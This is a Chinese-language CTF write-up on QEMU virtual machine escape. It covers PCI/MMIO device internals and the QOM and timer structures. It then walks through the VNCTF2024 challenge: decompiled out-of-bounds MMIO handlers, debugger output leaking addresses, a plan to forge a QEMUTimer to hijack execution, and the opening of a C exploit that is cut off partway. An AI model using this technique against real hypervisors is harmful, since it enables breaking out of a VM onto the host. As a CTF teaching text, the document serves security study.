Qemu-escape

虚拟机逃逸实在是泰裤辣!!!

基础

qemu mode

  1. User mode:用户模式,在这种模式下,QEMU 运行某个单一的程序,并且适配其的系统调用。比如我们想在x86机器上运行arm程序可以选择
  2. System mode:系统模式,在这种模式下,QEMU 可以模拟出一个完整的计算机系统。
  3. KVM:KVM(Kernel-based Virtual Machine,基于内核的虚拟机)是一种 TYPE1 Hypervisor 虚拟化技术,VMM 和 HostOS 一体化,直接运行 Host Hardware 之上,实现硬件和虚拟机完全管控。
  4. Xen:Xen是一个开放源代码虚拟机监视器,由剑桥大学开发。Xen的缺点是操作系统必须进行显式地修改(移植)以在Xen上运行(但是提供对用户应用的兼容性),所以比较麻烦。使得Xen无需特殊硬件支持,就能达到高性能的虚拟化。

内存结构

每个qemu虚拟机都是宿主机上的一个进程,在进程中用mmap分配出大小为0x40000000字节的宿主机的虚拟内存来作为虚拟机的物理内存

一个经典的内存结构图(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++

PCI设备有其配置空间来保存设备信息,头部最开始的数据为Device id和Vendor id

地址翻译

  1. 从用户虚拟地址到用户物理地址:这一层转换是模拟真实设备中所需要的虚拟地址和物理地址而存在的,所以我们也可以通过分析转换规则,编写程序来模拟这一层转换。
  2. 从用户物理地址到 QEMU 的虚拟地址空间:这一层是把用户的物理地址转换为 QEMU 上使用 mmap 申请出的地址空间,这部分空间的内容与用户的物理地址逐一对应,所以我们只需要知道 QEMU 上使用 mmap 申请出的地址空间的初始地址,再加上用户物理地址,就可以得到此地址对应的在 QEMU 中的虚拟地址。
  3. 计算
  • 在 x64 系统上,虚拟地址由 page offset (bits 0-11) 和 page number 组成,/proc/pid/pagemap(2) 这个文件中储存着此进程的页表,让用户空间进程可以找出每个虚拟页面映射到哪个物理帧(需要 CAP_SYS_ADMIN 权限),它包含一个 64 位的值。
  1. 实现
  • 因为虚拟化技术,存在Guest OS 和 Host OS 之分,这里是求 Guets OS 的物理地址

如果我们在qemu虚拟机中申请一段内存空间,找到宿主机内存。同理可以找到物理内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;

// 获得页内偏移后12位
uint32_t page_offset(uint32_t addr) {
return addr & ((1 << PAGE_SHIFT) - 1);
}

// 虚拟地址获得页表 page frame number
uint64_t gva_to_gfn(void *addr) {
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

// virtual address 转化为 phycial address
uint64_t gva_to_gpa(void *addr) {
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main() {
void *ptr;
uint64_t ptr_mem;

fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

ptr = malloc(256);

ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
return 0;
}

PCI

总线(bus)是一种将多个功能单元进行连接并允许功能单元之间进行数据交换的一种数据通路,在现代计算机中通常采用总线结构,即存在一根主要的公共通信干线,CPU 及各种设备都通过这跟总线进行通信。

PCI 即 Peripheral Component Interconnect,是一种连接电脑主板和外部设备的总线标准,其通过多根 PCI bus 完成 CPU 与 多个 PCI 设备间的连接,,在 X86 硬件体系结构中几乎所有的设备都以各种形式连接到 PCI 设备树上

PCI 标准中的三个基本组件:

  1. PCI 设备(device):符合 PCI 总线标准的设备都可以称之为 PCI 设备,在一个 PCI 总线上可以包含多个 PCI 设备
  2. PCI 总线(bus):用以连接多个 PCI 设备与多个 PCI 桥的通信干道
  3. PCI 桥(bridge):总线之间的连接枢纽,主要有以下三种:
  • HOST/PCI 桥:也称为 PCI 主桥或者 PCI 总线控制器,用以连接 CPU 与 PCI 根总线,隔离设备地址空间与存储器地址空间,现代 PC 通常还会在其中集成内存控制器,称之为北桥芯片组(North Bridge Chipset)
  • PCI/ISA 桥:用于连接旧的 ISA 总线,通常还会集成中断控制器(如 i8359A),称之为南桥芯片组(South Bridge Chipset)
  • PCI-to-PCI 桥:用于连接 PCI 主总线(Primary Bus)与次总线(Secondary Bus)

mmio : memory mapped io

内存映射 IO。这种方式将 IO 设备的内存与寄存器映射到指定的内存地址空间上,此时我们便可以通过常规的访问内存的方式来直接访问到设备的寄存器与内存

pmio : port mapped io

端口映射 IO。这种方式将 IO 设备的寄存器编码到指定的端口上,我们需要通过访问端口的方式来访问设备的寄存器与内存(例如在 x86 下通过 in 与 out 这一类的指令可以读写端口)。IO 设备通过专用的针脚或者专用的总线与 CPU 连接,这与内存地址空间相独立,因此又称作 isolated I/O

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <sys/io.h>

// b: byte
// w: word 2 byte
// l: long 4 byte

unsigned char inb(unsigned short port);
unsigned short inw(unsigned short port);
unsigned int inl(unsigned short port);

void outb(unsigned char value, unsigned short port);
void outw(unsigned short value, unsigned short port);
void outl(unsigned int value, unsigned short port);

查看系统pci设备

通过sysfs访问PCI设备资源

PCI 设备通过 PCIbridge classcode: deviceid:vendorid 区分。但是在真实设备中的信息更多

1
2
3
4
5
6
7
8
~ # lspci -v
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

resource0对应的是MMIO,而resource1对应的是PMIO(为0则代表没有。resource中数据格式是start-address end-address flags

1
2
3
4
5
~ # cat /sys/devices/pci0000:00/0000:00:03.0/resource
0x00000000febc0000 0x00000000febdffff 0x0000000000040200
0x000000000000c000 0x000000000000c03f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

通过查看其config文件来查看设备的配置空间,数据都可以匹配上

1
2
3
4
5
6
7
8
~ # hexdump -C  /sys/devices/pci0000:00/0000:00:04.0/config 
00000000 34 12 24 20 03 01 00 00 10 00 ff 00 00 00 00 00 |4.$ ............|
00000010 00 10 bf fe 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 0b 01 00 00 |................|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000100

Qemu Object Model

Qemu 是使用 C 编写的,但是充满了 OOP 的思想,在 Qemu 当中有着一套叫做 Qemu Object Model(3) 的东西来实现面向对象

在 QOM 当中使用成员嵌套的方式来完成类的继承,父类作为类结构体的第一个成员 parent 而存在,不支持多继承

  • Type:用来定义一个「类」的基本属性,例如类的名字、大小、构造函数等
  • Class:用来定义一个「类」的静态内容,例如类中存储的静态数据、方法函数指针等
  • Object:动态分配的一个「类」的具体的实例(instance),储存类的动态数据
  • Property:动态对象数据的访问器(accessor),可以通过监视器接口进行检查

在初始化设备时会初始化四个比较重要的结构体:TypeInfo -> TypeImpl -> ObjectClass -> Object,每个 Object对应一个具体的device,其构造函数在qemu启动用-device参数加载设备时调用

hw/misc/edu.c

结合CTF Wiki内容、Qemu source code和文档QEMU documentation

概念

  • opaque: 表示不透明的设备
  • State: 虚拟设备

TypeInfo: 定义设备

qemu中注册的每个设备都由一个TypeInfo类型来定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct TypeInfo
{
const char *name;
const char *parent;

size_t instance_size;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);

bool abstract;
size_t class_size;

void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void (*class_finalize)(ObjectClass *klass, void *data);
void *class_data;

InterfaceInfo *interfaces;
};

比如在edu中的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static void pci_edu_register_types(void)
{
static InterfaceInfo interfaces[] = {
{ INTERFACE_CONVENTIONAL_PCI_DEVICE },
{ },
};
static const TypeInfo edu_info = {
.name = TYPE_PCI_EDU_DEVICE,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(EduState),
.instance_init = edu_instance_init,
.class_init = edu_class_init,
.interfaces = interfaces,
};

type_register_static(&edu_info);
}

定义了设备类型后,需要做的是注册这个类型。执行类型注册函数type_register()

1
type_register_static(&edu_info);

构造函数。

1
2
3
4
5
6
7
8
type_init(pci_edu_register_types)
#define type_init(function) module_init(function, MODULE_INIT_QOM)

#define module_init(function, type) \
static void __attribute__((constructor)) do_qemu_init_ ## function(void) \
{ \
register_module_init(function, type); \
}

class: 实例化设备

type_rigister 执行后: 使用 TypeInfo 生成一个 TypeImpl,会发现成员变量几乎相同,实际上qemu就是通过用户提供的TypeInfo创建的TypeImpl的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct TypeImpl
{
const char *name;
size_t class_size;
size_t instance_size;
size_t instance_align;
void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void *class_data;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);
bool abstract;
const char *parent;
TypeImpl *parent_type;
ObjectClass *class; //指向 ObjectClass 的指针
int num_interfaces;
InterfaceImpl interfaces[MAX_INTERFACES];
};

注册类型TypeImpl之后就需要初始化该类型,其中有个叫class的成员。初始化其实就是初始化的它。当所有qemu总线、设备等的type_register_static执行完成后,即它们的TypeImpl实例创建成功后,qemu就会在type_initialize函数中去实例化其对应的ObjectClasses

ObjectClass是所有class的基类

1
2
3
4
5
6
7
8
9
10
struct ObjectClass
{
/* private: */
Type type;
GSList *interfaces;
const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
ObjectUnparent *unparent;
GHashTable *properties;
};

在edu中,class_init,这里使用ObjectClass作为参数

1
2
3
4
5
6
7
8
9
10
11
12
13
static void edu_class_init(ObjectClass *class, void *data)
{
DeviceClass *dc = DEVICE_CLASS(class);
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

k->realize = pci_edu_realize;
k->exit = pci_edu_uninit;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e8;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

Object对象:Type以及ObjectClass只是一个类型,而不是具体的设备。TypeInfo结构体中有两个函数指针:instance_init以及class_initclass_init是负责初始化ObjectClass结构体的,instance_init则是负责初始化具体Object结构体的。

1
2
3
4
5
6
7
8
9
struct Object
{
/*< private >*/
ObjectClass *class;
ObjectFree *free;
GHashTable *properties;
uint32_t ref;
Object *parent;
};

class_init中的realize函数,其中PCIDevice也是一个已知结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void pci_edu_realize(PCIDevice *pdev, Error **errp)
{
EduState *edu = EDU(pdev);
uint8_t *pci_conf = pdev->config;

pci_config_set_interrupt_pin(pci_conf, 1);

if (msi_init(pdev, 0, 1, true, false, errp)) {
return;
}

timer_init_ms(&edu->dma_timer, QEMU_CLOCK_VIRTUAL, edu_dma_timer, edu);

qemu_mutex_init(&edu->thr_mutex);
qemu_cond_init(&edu->thr_cond);
qemu_thread_create(&edu->thread, "edu", edu_fact_thread,
edu, QEMU_THREAD_JOINABLE);

memory_region_init_io(&edu->mmio, OBJECT(edu), &edu_mmio_ops, edu,
"edu-mmio", 1 * MiB);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &edu->mmio);
}

QOM会为设备Object分配instace_size大小的空间,然后调用instance_init函数,instace 初始化使用 Object 作为参数

1
2
3
4
5
6
7
8
static void edu_instance_init(Object *obj)
{
EduState *edu = EDU(obj);

edu->dma_mask = (1UL << 28) - 1;
object_property_add_uint64_ptr(obj, "dma_mask",
&edu->dma_mask, OBJ_PROP_FLAG_READWRITE);
}
内存空间

qemu使用 MemoryRegion 来表示对应的内存空间,相应的每一个 MemoryRegion 都有对应的 MemoryRegionOps 来描述其操做。

也就是注册 mmio 和 pmio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static const MemoryRegionOps edu_mmio_ops = {
.read = edu_mmio_read,
.write = edu_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
.valid = {
.min_access_size = 4,
.max_access_size = 8,
},
.impl = {
.min_access_size = 4,
.max_access_size = 8,
},

};

void memory_region_init_io(MemoryRegion *mr,
Object *owner,
const MemoryRegionOps *ops,
void *opaque,
const char *name,
uint64_t size);
类型转换

opaque是透明的,会出现一个类型转换为 State

1
2
3
4
ObjectClass *object_class_dynamic_cast_assert(ObjectClass *class,
const char *typename,
const char *file, int line,
const char *func)

DMA

内存拷贝比较消耗CPU资源,定义一个专用的DMA设备帮助CPU做内存拷贝,CPU把数据的地址和需要拷贝到的目的地址

需要操作 GuestOS 物理内存,将虚拟内存地址转换为物理内存作为参数

write类似

1
2
3
4
5
6
static inline MemTxResult pci_dma_read(PCIDevice *dev, dma_addr_t addr,
void *buf, dma_addr_t len)
{
return pci_dma_rw(dev, addr, buf, len,
DMA_DIRECTION_TO_DEVICE, MEMTXATTRS_UNSPECIFIED);
}

Timer

QEMU 中的时钟

qemu支持四种时钟

  • QEMU_CLOCK_REALTIME 不受虚拟系统的影响,随时间流逝而累加计数
  • QEMU_CLOCK_VIRTUAL 虚拟时钟,记录虚拟系统的时间滴答
  • QEMU_CLOCK_HOST 这个类似墙上时钟,修改宿主机系统时间会改变这个时间
  • QEMU_CLOCK_VIRTUAL_RT 在非icount模式下和QEMU_CLOCK_VIRTUAL,在icount模式下于QEMU_CLOCK_VIRTUAL不同的是在虚拟cpu休眠的时候该值也会累加

如下为qemu初始化四种时钟,main_loop_tlg 是 main loop 的 QEMUTimerListGroup, 也是默认使用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
typedef enum {
QEMU_CLOCK_REALTIME = 0,
QEMU_CLOCK_VIRTUAL = 1,
QEMU_CLOCK_HOST = 2,
QEMU_CLOCK_VIRTUAL_RT = 3,
QEMU_CLOCK_MAX
} QEMUClockType;

init_clocks(qemu_timer_notify_cb);

void init_clocks(QEMUTimerListNotifyCB *notify_cb)
{
QEMUClockType type;
for (type = 0; type < QEMU_CLOCK_MAX; type++) {
qemu_clock_init(type, notify_cb);
}

#ifdef CONFIG_PRCTL_PR_SET_TIMERSLACK
prctl(PR_SET_TIMERSLACK, 1, 0, 0, 0);
#endif
}

static void qemu_clock_init(QEMUClockType type, QEMUTimerListNotifyCB *notify_cb)
{
QEMUClock *clock = qemu_clock_ptr(type);

/* Assert that the clock of type TYPE has not been initialized yet. */
assert(main_loop_tlg.tl[type] == NULL);

clock->type = type;
clock->enabled = (type == QEMU_CLOCK_VIRTUAL ? false : true);
clock->last = INT64_MIN;
QLIST_INIT(&clock->timerlists);
notifier_list_init(&clock->reset_notifiers);
main_loop_tlg.tl[type] = timerlist_new(type, notify_cb, NULL);
}

static inline QEMUClock *qemu_clock_ptr(QEMUClockType type)
{
return &qemu_clocks[type];
}

static QEMUClock qemu_clocks[QEMU_CLOCK_MAX];

qemu时钟:一个类型的 timer 都会插入到相同的 timerlist 上。在 timerlist_run_timers() 函数中存在 cb(opaque)调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct QEMUTimerListGroup {
QEMUTimerList *tl[QEMU_CLOCK_MAX];
};


#define QLIST_ENTRY(type) \
struct { \
struct type *le_next; /* next element */ \
struct type **le_prev; /* address of previous next element */ \
}

struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};

struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int attributes;
int scale;
};

void timer_init_full(QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group, QEMUClockType type,
int scale, int attributes,
QEMUTimerCB *cb, void *opaque);

DEBUG

一种是使用gdb加载脚本,但是交互输出不是很直观 gdb -x script

1
2
3
4
5
6
7
8
9
10
11
12
13
file ./qemu-system-x86_64 
set args -L ./pc-bios \
-m 128M \
-append "console=ttyS0" \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-device vn \
-nographic \
-no-reboot \
-monitor /dev/null -s

start
brva 0x114514

另一种是使用 gdb 连接到进程

1
2
$ ps -af | grep qemu
$ gdb -x script -p <pid>

VNCTF2024 escape_langlang_mountain2

存在符号表,找到其设备ID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall vn_class_init(__int64 a1)
{
__int64 result; // rax

result = PCI_DEVICE_CLASS_23(a1);
*(_QWORD *)(result + 176) = pci_vn_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x1234;
*(_WORD *)(result + 210) = 0x2024;
*(_BYTE *)(result + 212) = 0x10;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
// ~# lspci
// 00:01.0 Class 0601: 8086:7000
// 00:04.0 Class 00ff: 1234:2024

mmio read/write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall vn_mmio_read(__int64 a1, __int64 addr)
{
int v3; // [rsp+2Ch] [rbp-14h]
__int64 v4; // [rsp+30h] [rbp-10h]

v4 = object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 21LL, "vn_mmio_read");
if ( addr == 0x10 )
{
return *(int *)(v4 + 0xB80);
}
else if ( addr == 0x20 )
{
return *(int *)(*(int *)(v4 + 0xB80) + 0xB40LL + v4);
}
return v3;
}


unsigned __int64 __fastcall vn_mmio_write(__int64 a1, unsigned __int64 addr, unsigned __int64 val)
{
__int64 v5; // [rsp+30h] [rbp-10h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
v5 = object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 42LL, "vn_mmio_write");
if ( addr == 0x30 )
{
if ( !*(_DWORD *)(v5 + 0xB84) )
{
*(_DWORD *)(v5 + *(int *)(v5 + 0xB80) + 0xB40LL) = val;
*(_DWORD *)(v5 + 0xB84) = 1;
}
}
else if ( addr <= 0x30 )
{
if ( addr == 0x10 )
{
if ( (int)val <= 0x3c )
*(_DWORD *)(v5 + 0xB80) = val;
}
else if ( addr == 0x20 && HIDWORD(val) <= 0x3C )
{
*(_DWORD *)(v5 + HIDWORD(val) + 0xB40) = val;
}
}
return v6 - __readfsqword(0x28u);
}

存在一个数组越界问题,int类型可以是负数。因此设置 0xb80 值为 -0xb38/-0xb34 读取 g_free,然后mmio_read泄露出libc_base。同样的方法可以泄露函数基地址,获得程序基址。

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x563076e46c30
00:0000│ rax 0x563076e46c30 —▸ 0x563075f58410 —▸ 0x563075e16170 —▸ 0x563075e162f0 ◂— 0x6e76 /* 'vn' */
01:00080x563076e46c38 —▸ 0x7faffb78bd50 (g_free) ◂— endbr64
02:00100x563076e46c40 —▸ 0x563076dfa5e0 ◂— 0x8
03:00180x563076e46c48 ◂— 9 /* '\t' */
04:00200x563076e46c50 —▸ 0x5630760bfaa0 —▸ 0x563075ff81a0 —▸ 0x563075e5f3b0 —▸ 0x563075e5f530 ◂— ...
05:00280x563076e46c58 ◂— 0x0
06:00300x563076e46c60 —▸ 0x5630760c7550 ◂— '/machine/peripheral-anon/device[0]'
07:00380x563076e46c68 ◂— 0x1

如何进行执行流的劫持?

Exploit 1

不依赖任何设备的函数,直接伪造QEMUTimerList和QEMUTimer,修改qemu的全局变量 main_loop_tlg 的成员变量值。等待QEMUTimer中的cb(opaque)去自动执行。在timerlist_run_timers函数中,ts = timer_list->active_timers,最后再去调用ts这个QEMUTimer中的cb(opaque),那么直接修改timer_list->active_timers为一个伪造的QEMUTimer地址依然可以达到目的

CVE-2019-6788-Qemu逃逸漏洞复现与分析

MemoryRegion的结构体在缓冲区之上,通过设置好负数读取ops的地址就可以实现对qemu地址泄漏,读取opaque的地址也就知道vn设备在堆中的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> p &main_loop_tlg
$5 = (<data variable, no debug info> *) 0x556d37e68480 <main_loop_tlg>
pwndbg> tele 0x556d37e68480
00:0000│ 0x556d37e68480 (main_loop_tlg) —▸ 0x556d3915d7c0 —▸ 0x556d37e684a0 (qemu_clocks) —▸ 0x556d3915dc70 ◂— 0x556d37e684a0
01:0008│ 0x556d37e68488 (main_loop_tlg+8) —▸ 0x556d3915d840 —▸ 0x556d37e684b0 (qemu_clocks+16) —▸ 0x556d3915dcf0 ◂— 0x556d37e684b0
02:0010│ 0x556d37e68490 (main_loop_tlg+16) —▸ 0x556d3915d8c0 —▸ 0x556d37e684c0 (qemu_clocks+32) —▸ 0x556d3915dd70 ◂— 0x556d37e684c0
03:0018│ 0x556d37e68498 (main_loop_tlg+24) —▸ 0x556d3915d940 —▸ 0x556d37e684d0 (qemu_clocks+48) —▸ 0x556d3915ddf0 ◂— 0x556d37e684d0
04:0020│ 0x556d37e684a0 (qemu_clocks) —▸ 0x556d3915dc70 ◂— 0x556d37e684a0
05:0028│ 0x556d37e684a8 (qemu_clocks+8) ◂— 0x100000000
06:0030│ 0x556d37e684b0 (qemu_clocks+16) —▸ 0x556d3915dcf0 ◂— 0x556d37e684b0
07:0038│ 0x556d37e684b8 (qemu_clocks+24) ◂— 0x100000001

pwndbg> tele 0x556d3a13bc30+0xb40-192
00:0000│ 0x556d3a13c6b0 —▸ 0x556d379071e0 (vn_mmio_ops) —▸ 0x556d36e0a458 (vn_mmio_read) ◂— endbr64
01:0008│ 0x556d3a13c6b8 —▸ 0x556d3a13bc30 —▸ 0x556d3924d410 —▸ 0x556d3910b170 —▸ 0x556d3910b2f0 ◂— ...
02:0010│ 0x556d3a13c6c0 —▸ 0x556d3945c840 —▸ 0x556d39200d80 —▸ 0x556d391523c0 —▸ 0x556d39152540 ◂— ...
03:0018│ 0x556d3a13c6c8 ◂— 0x0
04:0020│ 0x556d3a13c6d0 ◂— 0x1000
05:0028│ 0x556d3a13c6d8 ◂— 0x0
06:0030│ 0x556d3a13c6e0 ◂— 0xfebf1000
07:0038│ 0x556d3a13c6e8 —▸ 0x556d371da35b (memory_region_destructor_none) ◂— endbr64

根据mmio_ops可以知道其下一个元素就是 opaque,也就是当前VNState的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct MemoryRegion {
Object parent_obj;

/* private: */

/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool unmergeable;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;
/* owner as TYPE_DEVICE. Used for re-entrancy checks in MR access hotpath */
DeviceState *dev;

const MemoryRegionOps *ops;
void *opaque;
...
};

pwndbg> chunkinfo 0x556d3a13bc30-0x10
==================================
Chunk info
==================================
Status : Used
Freeable : True
prev_size : 0x50
size : 0xba0
prev_inused : 0
is_mmap : 0
non_mainarea : 0

接下来就是如何伪造QEMUTimer了。调试,查看内存,发现main_loop_tlg[1] 存在 active_timer,可以修改这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> tele 0x555c4c77e480
00:00000x555c4c77e480 (main_loop_tlg) —▸ 0x555c4dfb97c0 —▸ 0x555c4c77e4a0 (qemu_clocks) —▸ 0x555c4dfb9c70 ◂— 0x555c4c77e4a0
01:00080x555c4c77e488 (main_loop_tlg+8) —▸ 0x555c4dfb9840 —▸ 0x555c4c77e4b0 (qemu_clocks+16) —▸ 0x555c4dfb9cf0 ◂— 0x555c4c77e4b0
02:00100x555c4c77e490 (main_loop_tlg+16) —▸ 0x555c4dfb98c0 —▸ 0x555c4c77e4c0 (qemu_clocks+32) —▸ 0x555c4dfb9d70 ◂— 0x555c4c77e4c0
03:00180x555c4c77e498 (main_loop_tlg+24) —▸ 0x555c4dfb9940 —▸ 0x555c4c77e4d0 (qemu_clocks+48) —▸ 0x555c4dfb9df0 ◂— 0x555c4c77e4d0
04:00200x555c4c77e4a0 (qemu_clocks) —▸ 0x555c4dfb9c70 ◂— 0x555c4c77e4a0
05:00280x555c4c77e4a8 (qemu_clocks+8) ◂— 0x100000000
06:00300x555c4c77e4b0 (qemu_clocks+16) —▸ 0x555c4dfb9cf0 ◂— 0x555c4c77e4b0
07:00380x555c4c77e4b8 (qemu_clocks+24) ◂— 0x100000001
pwndbg> x/12xg 0x555c4dfb97c0
0x555c4dfb97c0: 0x0000555c4c77e4a0 0x0000000000000000
0x555c4dfb97d0: 0x0000000000000000 0x0000000000000000
0x555c4dfb97e0: 0x0000000000000000 0x0000000000000000
0x555c4dfb97f0: 0x0000000000000000 0x0000000100000000
0x555c4dfb9800: 0x0000000000000000 0x000000004ef98770
0x555c4dfb9810: 0x0000555c4dfb9cb8 0x0000555c4b8bbeed
pwndbg> x/12xg 0x555c4dfb9840
0x555c4dfb9840: 0x0000555c4c77e4b0 0x0000000000000000
0x555c4dfb9850: 0x0000000000000000 0x0000000000000000
0x555c4dfb9860: 0x0000000000000000 0x0000000000000000
0x555c4dfb9870: 0x0000000000000000 0x0000000100000000
0x555c4dfb9880: 0x0000555c4e28ee30 0x0000000000000000
0x555c4dfb9890: 0x0000555c4dfb9d38 0x0000555c4b8bbeed

exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
// clang-format off
#include <complex.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

#include <sys/io.h>
#include <sys/mman.h>
#include <sys/types.h>
// clang-format on

#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_DEFAULT "\033[0m"

#define DMSG(fmt, ...) \
fprintf(stderr, "[*] %s\t" fmt "\n", __FILE__, ##__VA_ARGS__)

#define IMSG(fmt, ...) \
fprintf(stderr, COLOR_GREEN "[+] %s\t" fmt "\n" COLOR_DEFAULT, __FILE__, \
##__VA_ARGS__)

#define EMSG(fmt, ...) \
fprintf(stderr, COLOR_RED "[-] %s\t" fmt "\n" COLOR_DEFAULT, __FILE__, \
##__VA_ARGS__)

#define fatal(fmt, ...) \
do { \
EMSG(fmt, ##__VA_ARGS__); \
exit(EXIT_FAILURE); \
} while (0)

void debug() {
DMSG("=============\tDEBUG\t=========");
getchar();
}

void *mmio_mem;

static inline uint32_t mmio_readl(uint32_t addr) {
return *((uint32_t *)(mmio_mem + addr));
}

static inline uint64_t mmio_readll(uint32_t addr) {
uint64_t high = mmio_readl(addr + 4);
uint64_t low = mmio_readl(addr);
return (high << 32) | (low & 0xffffffff);
}

static inline void mmio_writel(uint32_t addr, uint32_t value) {
*(uint32_t *)(mmio_mem + addr) = value;
}

static inline void mmio_writell(uint64_t off, uint64_t value) {
uint64_t high, low;
low = (off << 32) | (value & 0xffffffff);
*(uint64_t *)(mmio_mem + 0x20) = low;
high = ((off + 4) << 32) | (value >> 32);
*(uint64_t *)(mmio_mem + 0x20) = high;
}

static inline void set_off(int32_t off) { mmio_writel(0x10, off); }

void mmio_setup() {
int fd =
open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (fd == -1) {
fatal("Error open resource0");
